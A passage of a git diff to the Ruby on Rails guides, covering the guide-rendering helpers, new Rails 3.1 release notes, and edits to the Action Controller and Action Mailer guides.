body.gsub!(/^(IMPORTANT|CAUTION|WARNING|NOTE|INFO)[.:](.*)$/) do |m| - css_class = $1.downcase - css_class = 'warning' if css_class.in?(['caution', 'important']) - - result = "<div class='#{css_class}'><p>" - result << $2.strip - result << '</p></div>' - result - end - end - - def tip(body) - body.gsub!(/^TIP[.:](.*)$/) do |m| - result = "<div class='info'><p>" - result << $1.strip - result << '</p></div>' - result + # The following regexp detects special labels followed by a + # paragraph, perhaps at the end of the document. + # + # It is important that we do not eat more than one newline + # because formatting may be wrong otherwise. For example, + # if a bulleted list follows the first item is not rendered + # as a list item, but as a paragraph starting with a plain + # asterisk. + body.gsub!(/^(TIP|IMPORTANT|CAUTION|WARNING|NOTE|INFO)[.:](.*?)(\n(?=\n)|\Z)/m) do |m| + css_class = case $1 + when 'CAUTION', 'IMPORTANT' + 'warning' + when 'TIP' + 'info' + else + $1.downcase + end + %Q(<div class="#{css_class}"><p>#{$2.strip}</p></div>) end end @@ -32,11 +33,30 @@ module RailsGuides body.gsub!('<plus>', '+') end + def brush_for(code_type) + case code_type + when 'ruby', 'sql', 'plain' + code_type + when 'erb' + 'ruby; html-script: true' + when 'html' + 'xml' # html is understood, but there are .xml rules in the CSS + else + 'plain' + end + end + def code(body) body.gsub!(%r{<(yaml|shell|ruby|erb|html|sql|plain)>(.*?)</\1>}m) do |m| - es = ERB::Util.h($2) - css_class = $1.in?(['erb', 'shell']) ? 'html' : $1 - %{<notextile><div class="code_container"><code class="#{css_class}">#{es}</code></div></notextile>} + <<HTML +<notextile> +<div class="code_container"> +<pre class="brush: #{brush_for($1)}; gutter: false; toolbar: false"> +#{ERB::Util.h($2).strip} +</pre> +</div> +</notextile> +HTML end end end diff --git a/railties/guides/source/3_0_release_notes.textile b/railties/guides/source/3_0_release_notes.textile index fbb684978a..d22c76dd81 100644 --- a/railties/guides/source/3_0_release_notes.textile +++ b/railties/guides/source/3_0_release_notes.textile @@ -59,12 +59,12 @@ The +config.gem+ method is gone and has been replaced by using +bundler+ and a + h4. Upgrade Process -To help with the upgrade process, a plugin named "Rails Upgrade":http://github.com/jm/rails_upgrade has been created to automate part of it. +To help with the upgrade process, a plugin named "Rails Upgrade":http://github.com/rails/rails_upgrade has been created to automate part of it. Simply install the plugin, then run +rake rails:upgrade:check+ to check your app for pieces that need to be updated (with links to information on how to update them). It also offers a task to generate a +Gemfile+ based on your current +config.gem+ calls and a task to generate a new routes file from your current one. To get the plugin, simply run the following: <shell> -$ ruby script/plugin install git://github.com/jm/rails_upgrade.git +$ ruby script/plugin install git://github.com/rails/rails_upgrade.git </shell> You can see an example of how that works at "Rails Upgrade is now an Official Plugin":http://omgbloglol.com/post/364624593/rails-upgrade-is-now-an-official-plugin diff --git a/railties/guides/source/3_1_release_notes.textile b/railties/guides/source/3_1_release_notes.textile new file mode 100644 index 0000000000..c4da87dc34 --- /dev/null +++ b/railties/guides/source/3_1_release_notes.textile @@ -0,0 +1,431 @@ +h2. Ruby on Rails 3.1 Release Notes + +Highlights in Rails 3.1: + +* Streaming +* Reversible Migrations +* Assets Pipeline +* jQuery as the default JavaScript library + +This release notes cover the major changes, but don't include every little bug fix and change. If you want to see everything, check out the "list of commits":https://github.com/rails/rails/commits/master in the main Rails repository on GitHub. + +endprologue. + +h3. Upgrading to Rails 3.1 + +If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 3 in case you haven't and make sure your application still runs as expected before attempting to update to Rails 3.1. Then take heed of the following changes: + +h4. Rails 3.1 requires at least Ruby 1.8.7 + +Rails 3.1 requires Ruby 1.8.7 or higher. Support for all of the previous Ruby versions has been dropped officially and you should upgrade as early as possible. Rails 3.1 is also compatible with Ruby 1.9.2. + +TIP: Note that Ruby 1.8.7 p248 and p249 have marshaling bugs that crash Rails. Ruby Enterprise Edition have these fixed since release 1.8.7-2010.02 though. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults, so if you want to use 1.9.x jump on 1.9.2 for smooth sailing. + +h3. Creating a Rails 3.1 application + +<shell> +# You should have the 'rails' rubygem installed +$ rails new myapp +$ cd myapp +</shell> + +h4. Vendoring Gems + +Rails now uses a +Gemfile+ in the application root to determine the gems you require for your application to start. This +Gemfile+ is processed by the "Bundler":https://github.com/carlhuda/bundler gem, which then installs all your dependencies. It can even install all the dependencies locally to your application so that it doesn't depend on the system gems. + +More information: - "bundler homepage":http://gembundler.com + +h4. Living on the Edge + ++Bundler+ and +Gemfile+ makes freezing your Rails application easy as pie with the new dedicated +bundle+ command. If you want to bundle straight from the Git repository, you can pass the +--edge+ flag: + +<shell> +$ rails new myapp --edge +</shell> + +If you have a local checkout of the Rails repository and want to generate an application using that, you can pass the +--dev+ flag: + +<shell> +$ ruby /path/to/rails/bin/rails new myapp --dev +</shell> + +h3. Rails Architectural Changes + +h4. Assets Pipeline + +The major change in Rails 3.1 is the Assets Pipeline. It makes CSS and JavaScript first-class code citizens and enables proper organization, including use in plugins and engines. + +The assets pipeline is powered by "Sprockets":https://github.com/sstephenson/sprockets and is covered in the "Asset Pipeline":asset_pipeline.html guide. + +h4. HTTP Streaming + +HTTP Streaming is another change that is new in Rails 3.1. This lets the browser download your stylesheets and JavaScript files while the server is still generating the response. This requires Ruby 1.9.2, is opt-in and requires support from the web server as well, but the popular combo of nginx and unicorn is ready to take advantage of it. + +h4. Default JS library is now jQuery + +jQuery is the default JavaScript library that ships with Rails 3.1. But if you use Prototype, it's simple to switch. + +<shell> +$ rails new myapp -j prototype +</shell> + +h4. Identity Map + +Active Record has an Identity Map in Rails 3.1. An identity map keeps previously instantiated records and returns the object associated with the record if accessed again. The identity map is created on a per-request basis and is flushed at request completion. + +Rails 3.1 comes with the identity map turned off by default. + +h3. Railties + +* jQuery is the new default JavaScript library. + +* jQuery and Prototype are no longer vendored and is provided from now on by the jquery-rails and prototype-rails gems. + +* The application generator accepts an option +-j+ which can be an arbitrary string. If passed "foo", the gem "foo-rails" is added to the +Gemfile+, and the application JavaScript manifest requires "foo" and "foo_ujs". Currently only "prototype-rails" and "jquery-rails" exist and provide those files via the asset pipeline. + +* Generating an application or a plugin runs +bundle install+ unless +--skip-gemfile+ or +--skip-bundle+ is specified. + +* The controller and resource generators will now automatically produce asset stubs (this can be turned off with +--skip-assets+). These stubs will use CoffeeScript and Sass, if those libraries are available. + +* Scaffold and app generators use the Ruby 1.9 style hash when running on Ruby 1.9. To generate old style hash, +--old-style-hash+ can be passed. + +* Scaffold controller generator creates format block for JSON instead of XML. + +* Active Record logging is directed to STDOUT and shown inline in the console. + +* Added +config.force_ssl+ configuration which loads <tt>Rack::SSL</tt> middleware and force all requests to be under HTTPS protocol. + +* Added +rails plugin new+ command which generates a Rails plugin with gemspec, tests and a dummy application for testing. + +* Added <tt>Rack::Etag</tt> and <tt>Rack::ConditionalGet</tt> to the default middleware stack. + +* Added <tt>Rack::Cache</tt> to the default middleware stack. + +* Engines received a major update - You can mount them at any path, enable assets, run generators etc. + +h3. Action Pack + +h4. Action Controller + +* A warning is given out if the CSRF token authenticity cannot be verified. + +* Specify +force_ssl+ in a controller to force the browser to transfer data via HTTPS protocol on that particular controller. To limit to specific actions, +:only+ or +:except+ can be used. + +* Sensitive query string parameters specified in <tt>config.filter_parameters</tt> will now be filtered out from the request paths in the log. + +* URL parameters which return +nil+ for +to_param+ are now removed from the query string. + +* Added <tt>ActionController::ParamsWrapper</tt> to wrap parameters into a nested hash, and will be turned on for JSON request in new applications by default. This can be customized in <tt>config/initializers/wrap_parameters.rb</tt>. + +* Added <tt>config.action_controller.include_all_helpers</tt>. By default <tt>helper :all</tt> is done in <tt>ActionController::Base</tt>, which includes all the helpers by default. Setting +include_all_helpers+ to +false+ will result in including only application_helper and the helper corresponding to controller (like foo_helper for foo_controller). + +* +url_for+ and named url helpers now accept +:subdomain+ and +:domain+ as options. + +* Added +Base.http_basic_authenticate_with+ to do simple http basic authentication with a single class method call. + +<ruby> +class PostsController < ApplicationController + USER_NAME, PASSWORD = "dhh", "secret" + + before_filter :authenticate, :except => [ :index ] + + def index + render :text => "Everyone can see me!" + end + + def edit + render :text => "I'm only accessible if you know the password" + end + + private + def authenticate + authenticate_or_request_with_http_basic do |user_name, password| + user_name == USER_NAME && password == PASSWORD + end + end +end +</ruby> + +..can now be written as + +<ruby> +class PostsController < ApplicationController + http_basic_authenticate_with :name => "dhh", :password => "secret", :except => :index + + def index + render :text => "Everyone can see me!" + end + + def edit + render :text => "I'm only accessible if you know the password" + end +end +</ruby> + +* Added streaming support, you can enable it with: + +<ruby> +class PostsController < ActionController::Base + stream +end +</ruby> + +You can restrict it to some actions by using +:only+ or +:except+. Please read the docs at "<tt>ActionController::Streaming</tt>":http://api.rubyonrails.org/classes/ActionController/Streaming.html for more information. + +* The redirect route method now also accepts a hash of options which will only change the parts of the url in question, or an object which responds to call, allowing for redirects to be reused. + +h4. Action Dispatch + +* <tt>config.action_dispatch.x_sendfile_header</tt> now defaults to +nil+ and <tt>config/environments/production.rb</tt> doesn't set any particular value for it. This allows servers to set it through <tt>X-Sendfile-Type</tt>. + +* <tt>ActionDispatch::MiddlewareStack</tt> now uses composition over inheritance and is no longer an array. + +* Added <tt>ActionDispatch::Request.ignore_accept_header</tt> to ignore accept headers. + +* Added <tt>Rack::Cache</tt> to the default stack. + +* Moved etag responsibility from <tt>ActionDispatch::Response</tt> to the middleware stack. + +* Rely on <tt>Rack::Session</tt> stores API for more compatibility across the Ruby world. This is backwards incompatible since <tt>Rack::Session</tt> expects <tt>#get_session</tt> to accept four arguments and requires <tt>#destroy_session</tt> instead of simply <tt>#destroy</tt>. + +* Template lookup now searches further up in the inheritance chain. + +h4. Action View + +* Added an +:authenticity_token+ option to +form_tag+ for custom handling or to omit the token by passing <tt>:authenticity_token => false</tt>. + +* Created <tt>ActionView::Renderer</tt> and specified an API for <tt>ActionView::Context</tt>. + +* In place +SafeBuffer+ mutation is prohibited in Rails 3.1. + +* Added HTML5 +button_tag+ helper. + +* +file_field+ automatically adds <tt>:multipart => true</tt> to the enclosing form. + +* Added a convenience idiom to generate HTML5 data-* attributes in tag helpers from a +:data+ hash of options: + +<plain> +tag("div", :data => {:name => 'Stephen', :city_state => %w(Chicago IL)}) +# => <div data-name="Stephen" data-city-state="["Chicago","IL"]" /> +</plain> + +Keys are dasherized. Values are JSON-encoded, except for strings and symbols. + +* +csrf_meta_tag+ is renamed to +csrf_meta_tags+ and aliases +csrf_meta_tag+ for backwards compatibility. + +* The old template handler API is deprecated and the new API simply requires a template handler to respond to call. + +* rhtml and rxml are finally removed as template handlers. + +* <tt>config.action_view.cache_template_loading</tt> is brought back which allows to decide whether templates should be cached or not. + +* The submit form helper does not generate an id "object_name_id" anymore. + +* Allows <tt>FormHelper#form_for</tt> to specify the +:method+ as a direct option instead of through the +:html+ hash. <tt>form_for(==@==post, remote: true, method: :delete)</tt> instead of <tt>form_for(==@==post, remote: true, html: { method: :delete })</tt>. + +* Provided <tt>JavaScriptHelper#j()</tt> as an alias for <tt>JavaScriptHelper#escape_javascript()</tt>. This supersedes the <tt>Object#j()</tt> method that the JSON gem adds within templates using the JavaScriptHelper. + +* Allows AM/PM format in datetime selectors. + +* +auto_link+ has been removed from Rails and extracted into the "rails_autolink gem":https://github.com/tenderlove/rails_autolink + +h3. Active Record + +* Added a class method <tt>pluralize_table_names</tt> to singularize/pluralize table names of individual models. Previously this could only be set globally for all models through <tt>ActiveRecord::Base.pluralize_table_names</tt>. +<ruby> +class User < ActiveRecord::Base + self.pluralize_table_names = false +end +</ruby> + +* Added block setting of attributes to singular associations. The block will get called after the instance is initialized. + +<ruby> +class User < ActiveRecord::Base + has_one :account +end + +user.build_account{ |a| a.credit_limit = 100.0 } +</ruby> + +* Added <tt>ActiveRecord::Base.attribute_names</tt> to return a list of attribute names. This will return an empty array if the model is abstract or the table does not exist. + +* CSV Fixtures are deprecated and support will be removed in Rails 3.2.0. + +* <tt>ActiveRecord#new</tt>, <tt>ActiveRecord#create</tt> and <tt>ActiveRecord#update_attributes</tt> all accept a second hash as an option that allows you to specify which role to consider when assigning attributes. This is built on top of Active Model's new mass assignment capabilities: + +<ruby> +class Post < ActiveRecord::Base + attr_accessible :title + attr_accessible :title, :published_at, :as => :admin +end + +Post.new(params[:post], :as => :admin) +</ruby> + +* +default_scope+ can now take a block, lambda, or any other object which responds to call for lazy evaluation. + +* Default scopes are now evaluated at the latest possible moment, to avoid problems where scopes would be created which would implicitly contain the default scope, which would then be impossible to get rid of via Model.unscoped. + +* PostgreSQL adapter only supports PostgreSQL version 8.2 and higher. + +* +ConnectionManagement+ middleware is changed to clean up the connection pool after the rack body has been flushed. + +* Added an +update_column+ method on Active Record. This new method updates a given attribute on an object, skipping validations and callbacks. It is recommended to use +update_attributes+ or +update_attribute+ unless you are sure you do not want to execute any callback, including the modification of the +updated_at+ column. It should not be called on new records. + +* Associations with a +:through+ option can now use any association as the through or source association, including other associations which have a +:through+ option and +has_and_belongs_to_many+ associations. + +* The configuration for the current database connection is now accessible via <tt>ActiveRecord::Base.connection_config</tt>. + +* limits and offsets are removed from COUNT queries unless both are supplied. +<ruby> +People.limit(1).count # => 'SELECT COUNT(*) FROM people' +People.offset(1).count # => 'SELECT COUNT(*) FROM people' +People.limit(1).offset(1).count # => 'SELECT COUNT(*) FROM people LIMIT 1 OFFSET 1' +</ruby> + +* <tt>ActiveRecord::Associations::AssociationProxy</tt> has been split. There is now an +Association+ class (and subclasses) which are responsible for operating on associations, and then a separate, thin wrapper called +CollectionProxy+, which proxies collection associations. This prevents namespace pollution, separates concerns, and will allow further refactorings. + +* Singular associations (+has_one+, +belongs_to+) no longer have a proxy and simply returns the associated record or +nil+. This means that you should not use undocumented methods such as +bob.mother.create+ - use +bob.create_mother+ instead. + +* Support the <tt>:dependent</tt> option on <tt>has_many :through</tt> associations. For historical and practical reasons, +:delete_all+ is the default deletion strategy employed by <tt>association.delete(*records)</tt>, despite the fact that the default strategy is +:nullify+ for regular has_many. Also, this only works at all if the source reflection is a belongs_to. For other situations, you should directly modify the through association. + +* The behavior of +association.destroy+ for +has_and_belongs_to_many+ and <tt>has_many :through</tt> is changed. From now on, 'destroy' or 'delete' on an association will be taken to mean 'get rid of the link', not (necessarily) 'get rid of the associated records'. + +* Previously, <tt>has_and_belongs_to_many.destroy(*records)</tt> would destroy the records themselves. It would not delete any records in the join table. Now, it deletes the records in the join table. + +* Previously, <tt>has_many_through.destroy(*records)</tt> would destroy the records themselves, and the records in the join table. [Note: This has not always been the case; previous version of Rails only deleted the records themselves.] Now, it destroys only the records in the join table. + +* Note that this change is backwards-incompatible to an extent, but there is unfortunately no way to 'deprecate' it before changing it. The change is being made in order to have consistency as to the meaning of 'destroy' or 'delete' across the different types of associations. If you wish to destroy the records themselves, you can do <tt>records.association.each(&:destroy)</tt>. + +* Add <tt>:bulk => true</tt> option to +change_table+ to make all the schema changes defined in a block using a single ALTER statement. + +<ruby> +change_table(:users, :bulk => true) do |t| + t.string :company_name + t.change :birthdate, :datetime +end +</ruby> + +* Removed support for accessing attributes on a +has_and_belongs_to_many+ join table. <tt>has_many :through</tt> needs to be used. + +* Added a +create_association!+ method for +has_one+ and +belongs_to+ associations. + +* Migrations are now reversible, meaning that Rails will figure out how to reverse your migrations. To use reversible migrations, just define the +change+ method. +<ruby> +class MyMigration < ActiveRecord::Migration + def change + create_table(:horses) do |t| + t.column :content, :text + t.column :remind_at, :datetime + end + end +end +</ruby> + +* Some things cannot be automatically reversed for you. If you know how to reverse those things, you should define +up+ and +down+ in your migration. If you define something in change that cannot be reversed, an +IrreversibleMigration+ exception will be raised when going down. + +* Migrations now use instance methods rather than class methods: +<ruby> +class FooMigration < ActiveRecord::Migration + def up # Not self.up + ... + end +end +</ruby> + +* Migration files generated from model and constructive migration generators (for example, add_name_to_users) use the reversible migration's +change+ method instead of the ordinary +up+ and +down+ methods. + +* Removed support for interpolating string SQL conditions on associations. Instead, a proc should be used. + +<ruby> +has_many :things, :conditions => 'foo = #{bar}' # before +has_many :things, :conditions => proc { "foo = #{bar}" } # after +</ruby> + +Inside the proc, +self+ is the object which is the owner of the association, unless you are eager loading the association, in which case +self+ is the class which the association is within. + +You can have any "normal" conditions inside the proc, so the following will work too: + +<ruby> +has_many :things, :conditions => proc { ["foo = ?", bar] } +</ruby> + +* Previously +:insert_sql+ and +:delete_sql+ on +has_and_belongs_to_many+ association allowed you to call 'record' to get the record being inserted or deleted. This is now passed as an argument to the proc. + +* Added <tt>ActiveRecord::Base#has_secure_password</tt> (via <tt>ActiveModel::SecurePassword</tt>) to encapsulate dead-simple password usage with BCrypt encryption and salting. + +<ruby> +# Schema: User(name:string, password_digest:string, password_salt:string) +class User < ActiveRecord::Base + has_secure_password +end +</ruby> + +* When a model is generated +add_index+ is added by default for +belongs_to+ or +references+ columns. + +* Setting the id of a +belongs_to+ object will update the reference to the object. + +* <tt>ActiveRecord::Base#dup</tt> and <tt>ActiveRecord::Base#clone</tt> semantics have changed to closer match normal Ruby dup and clone semantics. + +* Calling <tt>ActiveRecord::Base#clone</tt> will result in a shallow copy of the record, including copying the frozen state. No callbacks will be called. + +* Calling <tt>ActiveRecord::Base#dup</tt> will duplicate the record, including calling after initialize hooks. Frozen state will not be copied, and all associations will be cleared. A duped record will return +true+ for <tt>new_record?</tt>, have a +nil+ id field, and is saveable. + +* The query cache now works with prepared statements. No changes in the applications are required. + +h3. Active Model + +* +attr_accessible+ accepts an option +:as+ to specify a role. + +* +InclusionValidator+, +ExclusionValidator+, and +FormatValidator+ now accepts an option which can be a proc, a lambda, or anything that respond to +call+. This option will be called with the current record as an argument and returns an object which respond to +include?+ for +InclusionValidator+ and +ExclusionValidator+, and returns a regular expression object for +FormatValidator+. + +* Added <tt>ActiveModel::SecurePassword</tt> to encapsulate dead-simple password usage with BCrypt encryption and salting. + +* <tt>ActiveModel::AttributeMethods</tt> allows attributes to be defined on demand. + +* Added support for selectively enabling and disabling observers. + +* Alternate <tt>I18n</tt> namespace lookup is no longer supported. + +h3. Active Resource + +* The default format has been changed to JSON for all requests. If you want to continue to use XML you will need to set <tt>self.format = :xml</tt> in the class. For example, + +<ruby> +class User < ActiveResource::Base + self.format = :xml +end +</ruby> + +h3. Active Support + +* <tt>ActiveSupport::Dependencies</tt> now raises +NameError+ if it finds an existing constant in +load_missing_constant+. + +* Added a new reporting method <tt>Kernel#quietly</tt> which silences both +STDOUT+ and +STDERR+. + +* Added <tt>String#inquiry</tt> as a convenience method for turning a String into a +StringInquirer+ object. + +* Added <tt>Object#in?</tt> to test if an object is included in another object. + +* +LocalCache+ strategy is now a real middleware class and no longer an anonymous class. + +* <tt>ActiveSupport::Dependencies::ClassCache</tt> class has been introduced for holding references to reloadable classes. + +* <tt>ActiveSupport::Dependencies::Reference</tt> has been refactored to take direct advantage of the new +ClassCache+. + +* Backports <tt>Range#cover?</tt> as an alias for <tt>Range#include?</tt> in Ruby 1.8. + +* Added +weeks_ago+ and +prev_week+ to Date/DateTime/Time. + +* Added +before_remove_const+ callback to <tt>ActiveSupport::Dependencies.remove_unloadable_constants!</tt>. + +Deprecations: + +* <tt>ActiveSupport::SecureRandom</tt> is deprecated in favor of +SecureRandom+ from the Ruby standard library. + +h3. Credits + +See the "full list of contributors to Rails":http://contributors.rubyonrails.org/ for the many people who spent many hours making Rails, the stable and robust framework it is. Kudos to all of them. + +Rails 3.1 Release Notes were compiled by "Vijay Dev":https://github.com/vijaydev. diff --git a/railties/guides/source/action_controller_overview.textile b/railties/guides/source/action_controller_overview.textile index 073e3bddcf..d8d66302fe 100644 --- a/railties/guides/source/action_controller_overview.textile +++ b/railties/guides/source/action_controller_overview.textile @@ -684,9 +684,11 @@ end This will read and stream the file 4kB at the time, avoiding loading the entire file into memory at once. You can turn off streaming with the +:stream+ option or adjust the block size with the +:buffer_size+ option. +If +:type+ is not specified, it will be guessed from the file extension specified in +:filename+. If the content type is not registered for the extension, <tt>application/octet-stream</tt> will be used. + WARNING: Be careful when using data coming from the client (params, cookies, etc.) to locate the file on disk, as this is a security risk that might allow someone to gain access to files they are not meant to see. -TIP: It is not recommended that you stream static files through Rails if you can instead keep them in a public folder on your web server. It is much more efficient to let the user download the file directly using Apache or another web server, keeping the request from unnecessarily going through the whole Rails stack. Although if you do need the request to go through Rails for some reason, you can set the +:x_sendfile+ option to true, and Rails will let the web server handle sending the file to the user, freeing up the Rails process to do other things. Note that your web server needs to support the +X-Sendfile+ header for this to work. +TIP: It is not recommended that you stream static files through Rails if you can instead keep them in a public folder on your web server. It is much more efficient to let the user download the file directly using Apache or another web server, keeping the request from unnecessarily going through the whole Rails stack. h4. RESTful Downloads @@ -813,9 +815,3 @@ end </ruby> Please note that if you found yourself adding +force_ssl+ to many controllers, you may found yourself wanting to force the whole application to use HTTPS instead. In that case, you can set the +config.force_ssl+ in your environment file. - -h3. Changelog - -* February 17, 2009: Yet another proofread by Xavier Noria. - -* November 4, 2008: First release version by Tore Darell diff --git a/railties/guides/source/action_mailer_basics.textile b/railties/guides/source/action_mailer_basics.textile index 2eaee158ff..ad5b848d2c 100644 --- a/railties/guides/source/action_mailer_basics.textile +++ b/railties/guides/source/action_mailer_basics.textile @@ -8,7 +8,7 @@ WARNING. This Guide is based on Rails 3.0. Some of the code shown here will not h3. Introduction -Action Mailer allows you to send emails from your application using a mailer model and views. So, in Rails, emails are used by creating mailers that inherit from +ActionMailer::Base+ and live in +app/mailers+. Those mailers have associated views that appear alongside controller views in +app/views+. +Action Mailer allows you to send emails from your application using a mailer model and views. So, in Rails, emails are used by creating mailers that inherit from +ActionMailer::Base+ and live in +app/mailers+. Those mailers have associated views that appear alongside controller views in +app/views+. h3. Sending Emails @@ -48,10 +48,8 @@ class UserMailer < ActionMailer::Base def welcome_email(user) @user = user @url = "http://example.com/login" - mail(:to => user.email, - :subject => "Welcome to My Awesome Site") + mail(:to => user.email, :subject => "Welcome to My Awesome Site") end - end </ruby> @@ -142,17 +140,17 @@ end This provides a much simpler implementation that does not require the registering of observers and the like. -The method +welcome_email+ returns a Mail::Message object which can then just be told +deliver+ to send itself out. +The method +welcome_email+ returns a <tt>Mail::Message</tt> object which can then just be told +deliver+ to send itself out. NOTE: In previous versions of Rails, you would call +deliver_welcome_email+ or +create_welcome_email+. This has been deprecated in Rails 3.0 in favour of just calling the method name itself. -WARNING: Sending out one email should only take a fraction of a second, if you are planning on sending out many emails, or you have a slow domain resolution service, you might want to investigate using a background process like delayed job. +WARNING: Sending out an email should only take a fraction of a second, but if you are planning on sending out many emails, or you have a slow domain resolution service, you might want to investigate using a background process like Delayed Job. h4. Auto encoding header values Action Mailer now handles the auto encoding of multibyte characters inside of headers and bodies. -If you are using UTF-8 as your character set, you do not have to do anything special, just go ahead and send in UTF-8 data to the address fields, subject, keywords, filenames or body of the email and ActionMailer will auto encode it into quoted printable for you in the case of a header field or Base64 encode any body parts that are non US-ASCII. +If you are using UTF-8 as your character set, you do not have to do anything special, just go ahead and send in UTF-8 data to the address fields, subject, keywords, filenames or body of the email and Action Mailer will auto encode it into quoted printable for you in the case of a header field or Base64 encode any body parts that are non US-ASCII. For more complex examples such as defining alternate character sets or self encoding text first, please refer to the Mail library. @@ -213,7 +211,7 @@ NOTE: If you specify an encoding, Mail will assume that your content is already h5. Making Inline Attachments -ActionMailer 3.0 makes inline attachments, which involved a lot of hacking in pre 3.0 versions, much simpler and trivial as they should be. +Action Mailer 3.0 makes inline attachments, which involved a lot of hacking in pre 3.0 versions, much simpler and trivial as they should be. * Firstly, to tell Mail to turn an attachment into an inline attachment, you just call <tt>#inline</tt> on the attachments method within your Mailer: @@ -242,32 +240,33 @@ end h5. Sending Email To Multiple Recipients -It is possible to send email to one or more recipients in one email (for e.g. informing all admins of a new signup) by setting the list of emails to the <tt>:to</tt> key. The <tt>to:</tt> key however expects a string so you have join the list of recipients using a comma. +It is possible to send email to one or more recipients in one email (for e.g. informing all admins of a new signup) by setting the list of emails to the <tt>:to</tt> key. The list of emails can be an array of email addresses or a single string with the addresses separated by commas. <ruby> - class AdminMailer < ActionMailer::Base - default :to => Admin.all.map(&:email).join(", "), - :from => "notification@example.com" +class AdminMailer < ActionMailer::Base + default :to => Admin.all.map(&:email), + :from => "notification@example.com" - def new_registration(user) - @user = user - mail(:subject => "New User Signup: #{@user.email}") - end + def new_registration(user) + @user = user + mail(:subject => "New User Signup: #{@user.email}") end +end </ruby> +The same format can be used to set carbon copy (Cc:) and blind carbon copy (Bcc:) recipients, by using the <tt>:cc</tt> and <tt>:bcc</tt> keys respectively. + h5. Sending Email With Name Sometimes you wish to show the name of the person instead of just their email address when they receive the email. The trick to doing that is to format the email address in the format <tt>"Name <email>"</tt>. <ruby> - def welcome_email(user) - @user = user - email_with_name = "#{@user.name} <#{@user.email}>" - mail(:to => email_with_name, - :subject => "Welcome to My Awesome Site") - end +def welcome_email(user) + @user = user + email_with_name = "#{@user.name} <#{@user.email}>" + mail(:to => email_with_name, :subject => "Welcome to My Awesome Site") +end </ruby> h4. Mailer Views @@ -287,9 +286,7 @@ class UserMailer < ActionMailer::Base :subject => "Welcome to My Awesome Site", :template_path => 'notifications', :template_name => 'another') - end end - end </ruby> @@ -404,7 +401,7 @@ Will put the HTML part first, and the plain text part second. h4. Sending Emails with Attachments -Attachments can be added by using the +attachment+ method: +Attachments can be added by using the +attachments+ method: <ruby> class UserMailer < ActionMailer::Base @@ -422,7 +419,7 @@ The above will send a multipart email with an attachment, properly nested with t h3. Receiving Emails -Receiving and parsing emails with Action Mailer can be a rather complex endeavour. Before your email reaches your Rails app, you would have had to configure your system to somehow forward emails to your app, which needs to be listening for that. So, to receive emails in your Rails app you'll need to: +Receiving and parsing emails with Action Mailer can be a rather complex endeavor. Before your email reaches your Rails app, you would have had to configure your system to somehow forward emails to your app, which needs to be listening for that. So, to receive emails in your Rails app you'll need to: * Implement a +receive+ method in your mailer. @@ -459,18 +456,18 @@ h3. Action Mailer Configuration The following configuration options are best made in one of the environment files (environment.rb, production.rb, etc...) -|template_root|Determines the base from which template references will be made.| -|logger|Generates information on the mailing run if available. Can be set to nil for no logging. Compatible with both Ruby's own Logger and Log4r loggers.| -|smtp_settings|Allows detailed configuration for :smtp delivery method:<ul><li>:address - Allows you to use a remote mail server. Just change it from its default "localhost" setting.</li><li>:port - On the off chance that your mail server doesn't run on port 25, you can change it.</li><li>:domain - If you need to specify a HELO domain, you can do it here.</li><li>:user_name - If your mail server requires authentication, set the username in this setting.</li><li>:password - If your mail server requires authentication, set the password in this setting.</li><li>:authentication - If your mail server requires authentication, you need to specify the authentication type here. This is a symbol and one of :plain, :login, :cram_md5.</li></ul>| -|sendmail_settings|Allows you to override options for the :sendmail delivery method.<ul><li>:location - The location of the sendmail executable. Defaults to /usr/sbin/sendmail.</li><li>:arguments - The command line arguments to be passed to sendmail. Defaults to -i -t.</li></ul>| -|raise_delivery_errors|Whether or not errors should be raised if the email fails to be delivered.| -|delivery_method|Defines a delivery method. Possible values are :smtp (default), :sendmail, :file and :test.| -|perform_deliveries|Determines whether deliveries are actually carried out when the +deliver+ method is invoked on the Mail message. By default they are, but this can be turned off to help functional testing.| -|deliveries|Keeps an array of all the emails sent out through the Action Mailer with delivery_method :test. Most useful for unit and functional testing.| +|+template_root+|Determines the base from which template references will be made.| +|+logger+|Generates information on the mailing run if available. Can be set to +nil+ for no logging. Compatible with both Ruby's own +Logger+ and +Log4r+ loggers.| +|+smtp_settings+|Allows detailed configuration for <tt>:smtp</tt> delivery method:<ul><li><tt>:address</tt> - Allows you to use a remote mail server. Just change it from its default "localhost" setting.</li><li><tt>:port</tt> - On the off chance that your mail server doesn't run on port 25, you can change it.</li><li><tt>:domain</tt> - If you need to specify a HELO domain, you can do it here.</li><li><tt>:user_name</tt> - If your mail server requires authentication, set the username in this setting.</li><li><tt>:password</tt> - If your mail server requires authentication, set the password in this setting.</li><li><tt>:authentication</tt> - If your mail server requires authentication, you need to specify the authentication type here. This is a symbol and one of <tt>:plain</tt>, <tt>:login</tt>, <tt>:cram_md5</tt>.</li></ul>| +|+sendmail_settings+|Allows you to override options for the <tt>:sendmail</tt> delivery method.<ul><li><tt>:location</tt> - The location of the sendmail executable. Defaults to <tt>/usr/sbin/sendmail</tt>.</li><li><tt>:arguments</tt> - The command line arguments to be passed to sendmail. Defaults to <tt>-i -t</tt>.</li></ul>| +|+raise_delivery_errors+|Whether or not errors should be raised if the email fails to be delivered.| +|+delivery_method+|Defines a delivery method. Possible values are <tt>:smtp</tt> (default), <tt>:sendmail</tt>, <tt>:file</tt> and <tt>:test</tt>.| +|+perform_deliveries+|Determines whether deliveries are actually carried out when the +deliver+ method is invoked on the Mail message. By default they are, but this can be turned off to help functional testing.| +|+deliveries+|Keeps an array of all the emails sent out through the Action Mailer with delivery_method :test. Most useful for unit and functional testing.| h4. Example Action Mailer Configuration -An example would be adding the following to your appropriate <tt>config/environments/env.rb</tt> file: +An example would be adding the following to your appropriate <tt>config/environments/$RAILS_ENV.rb</tt> file: <ruby> config.action_mailer.delivery_method = :sendmail @@ -485,7 +482,7 @@ config.action_mailer.raise_delivery_errors = true h4. Action Mailer Configuration for GMail -As Action Mailer now uses the Mail gem, this becomes as simple as adding to your <tt>config/environments/env.rb</tt> file: +As Action Mailer now uses the Mail gem, this becomes as simple as adding to your <tt>config/environments/$RAILS_ENV.rb</tt> file: <ruby> config.action_mailer.delivery_method = :smtp @@ -517,14 +514,10 @@ class UserMailerTest < ActionMailer::TestCase # Test the body of the sent email contains what we expect it to assert_equal [user.email], email.to assert_equal "Welcome to My Awesome Site", email.subject - assert_match /<h1>Welcome to example.com, #{user.name}<\/h1>/, email.encoded - assert_match /Welcome to example.com, #{user.name}/, email.encoded + 